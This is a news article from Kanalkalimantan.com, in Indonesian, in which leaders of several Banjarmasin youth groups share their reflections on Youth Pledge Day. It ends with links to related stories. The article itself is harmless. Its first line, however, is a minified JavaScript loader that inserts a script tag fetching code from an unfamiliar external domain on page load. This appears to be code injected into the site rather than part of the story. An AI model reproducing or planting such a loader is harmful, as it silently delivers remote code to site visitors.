(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN — Peringatan Hari Sumpah Pemuda tiap 28 Oktober menjadi momentum penting khususnya bagi pemimpin organisasi kepemudaan di Kota Banjarmasin.
Pandangan pertama datang dari Ikatan Mahasiswa Banjarmasin (IKMABAN), Muhammad Rianda yang menilai peringatan ini sebagai waktu reflektif dalam meneguhkan semangat persatuan, identitas kebangsaan, dan tanggung jawab moral generasi muda terhadap bangsa.
“Sumpah Pemuda bukan hanya peristiwa historis, melainkan manifestasi kesadaran kolektif pemuda Indonesia dalam membangun integrasi nasional melalui bahasa, tanah air, dan cita-cita bersama,“ ujar Rianda, Selasa (28/10/2025).
Jika ditarik konteks kekinian, maka Sumpah Pemuda diartikan sebagai bentuk partisipasi aktif pemuda dalam ruang sosial, akademik, serta kebangsaan. Oleh sebab itu, generasi muda memiliki peran strategis dalam menjaga keutuhan bangsa di tengah tantangan globalisasi, disrupsi teknologi, serta pergeseran nilai-nilai sosial.
“Sumpah Pemuda adalah cermin bahwa perubahan besar selalu dimulai dari kesadaran dan keberanian kaum muda. Maka, hari ini kita harus melanjutkan semangat itu dengan kerja nyata, intelektualitas, dan solidaritas,” ujar Mahasiswa Universitas Islam Kalimantan (Uniska) MAB itu.
Rianda berharap, Hari Sumpah Pemuda mampu menumbuhkan kesadaran kritis dan komitmen kolektif pemuda Indonesia khususnya di Kota Banjarmasin untuk terus berkontribusi dalam pembangunan daerah dan nasional.
Penguatan kolaborasi antar sektor, literasi kebangsaan, serta nilai gotong royong dirasa penting supaya semangat pemuda tahun 1928 tetap relevan dalam menghadapi dinamika zaman.
“Harapan saya, pemuda hari ini tidak sekadar mengenang sejarah, tetapi menjadi pelaku sejarah baru. Dengan pengetahuan, semangat, dan kepedulian sosial, kita bisa menguatkan identitas bangsa sekaligus membawa Indonesia menuju kemajuan yang berkeadaban,” pungkasnya.
Ketua Pepelingasih Kota Banjarmasin, Muhammad Amin Hasani. Foto: ist
Ketua Pemuda Peduli Lingkungan Asri dan Bersih (Pepelingasih) Kota Banjarmasin, Muhammad Amin Hasani berpendapat Hari Sumpah Pemuda bukan hanya sejarah, melainkan pengingat akan kekuatan persatuan dan semangat kolaborasi generasi muda.
Para Pemuda pada tahun 1928 telah menegaskan tekad untuk menanggalkan perbedaan suku, bahasa, serta daerah demi cita-cita bersama, yaitu Indonesia yang merdeka dan berdaulat.
“Di era sekarang, semangat itu harus diterjemahkan dalam tindakan nyata. Pemuda harus berani berinovasi, menjaga nilai-nilai kebangsaan, serta menjadi pelopor dalam menjaga lingkungan dan kebudayaan lokal,“ ungkap lelaki kelahiran 23 Mei 2002 itu.
Sebagai Nakhoda Pepelingasih Kota Banjarmasin, dia melihat pelestarian lingkungan dan kearifan lokal juga merupakan bentuk cinta tanah air yang sejalan dengan semangat Sumpah Pemuda.
“Kita perlu memaknai sumpah itu dengan memperkuat solidaritas, gotong royong, dan kepedulian terhadap sesama. Pemuda Banua harus menjadi contoh dalam menjaga harmoni sosial dan keberlanjutan alam, karena masa depan bangsa ada di tangan mereka,” kata Wakil Ketua Bidang Lingkungan Komite Nasional Pemuda Indonesia (KNPI) Banjarmasin itu.
Untuk itu, Amin berharap, generasi muda Kalimantan Selatan utamanya di Kota Banjarmasin bisa terus menumbuhkan rasa bangga dan cinta kepada daerahnya tanpa melupakan semangat kebangsaan.
Baginya, pemuda harus berada di garda terdepan dalam menjaga lingkungan, melestarikan budaya, dan menebarkan semangat persatuan di tengah keberagaman.
Sejatinya, pemuda bukan penonton perubahan, tapi menjadi penggerak dalam menciptakan inovasi agar berkontribusi terhadap masyarakat dengan menjadikan Sumpah Pemuda sebagai inspirasi dalam tiap langkah.
“Mari kita jadikan momen Hari Sumpah Pemuda ini sebagai titik tolak untuk memperkuat tekad, membangun kolaborasi antar generasi, dan meneguhkan komitmen untuk Indonesia yang lebih maju, hijau, dan berkarakter.” tutup Amin.
Ketua Sentra Pemberdayaan Pemuda Kota Banjarmasin, Selamat Riyadi. Foto: fahmi
Ketua Sentra Pemberdayaan Pemuda (SPP) Kota Banjarmasin, Selamat Riyadi menyebut Hari Sumpah Pemuda adalah momentum penting dalam sejarah bangsa Indonesia yang menegaskan semangat persatuan dan kesatuan bangsa.
Sumpah Pemuda yang dikumandangkan pada 28 Oktober 1928 menjadi landasan bagi perjuangan bangsa Indonesia untuk meraih kemerdekaan dan keutuhan negara.
“Saya memaknainya sebagai panggilan untuk terus berkontribusi dalam membangun bangsa dan negara, serta menjadi agen perubahan yang positif.” tutur Slamet.
Di momen penting ini, lulusan Universitas Lambung Mangkurat itu mengharapkan agar pemuda bisa terus memelihara semangat Sumpah Pemuda diantaranya semangat persatuan, kesatuan, dan kebangkitan nasional.
Besar keyakinannya bahwa pemuda Indonesia mampu menjadi generasi yang tangguh, berintegritas, berprestasi, serta menjadi pemimpin masa depan yang membawa bangsa Indonesia menuju kemajuan dan kemakmuran.
“Mari kita wujudkan Indonesia yang lebih baik melalui kontribusi dan karya nyata, terutama dalam peran pemuda untuk pembangunan daerah di kota banjarmasin,” tutupnya.
Persatuan Pemuda Kreator Inovatif (PERSPEKTIF) Kota Banjarmasin. Foto: ist
Senada, Ketua Persatuan Pemuda Kreator Inovatif (PERSPEKTIF) Kota Banjarmasin, Ananda Jelita memaknai Hari Sumpah Pemuda sebagai waktu yang tepat dalam meneguhkan kembali semangat persatuan dan kolaborasi antar generasi muda.
Pada dasarnya, Sumpah Pemuda mengingatkan bahwa perubahan besar selalu lahir dari tekad dan keberanian anak muda untuk bersatu melampaui perbedaan.
“Semangat itu saya maknai sebagai dorongan untuk terus berpikir kritis, berani bersuara, dan berkontribusi nyata bagi masyarakat melalui ide serta aksi yang berdampak,” ujar sarjana komputer ini.
Besar harapannya kepada generasi muda khususnya di Kota Banjarmasin tidak hanya bangga dengan Sumpah Pemuda, tetapi juga dapat menulis sejarah baru dengan karya, integritas, dan solidaritas.
“Saya berharap seluruh anggota Perspektif terus menjadi ruang tumbuh bagi pemuda yang berpikir terbuka, berkolaborasi lintas bidang, dan berani membawa perubahan positif untuk Banjarmasin maju sejahtera,” tandas Ananda. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
This website uses cookies.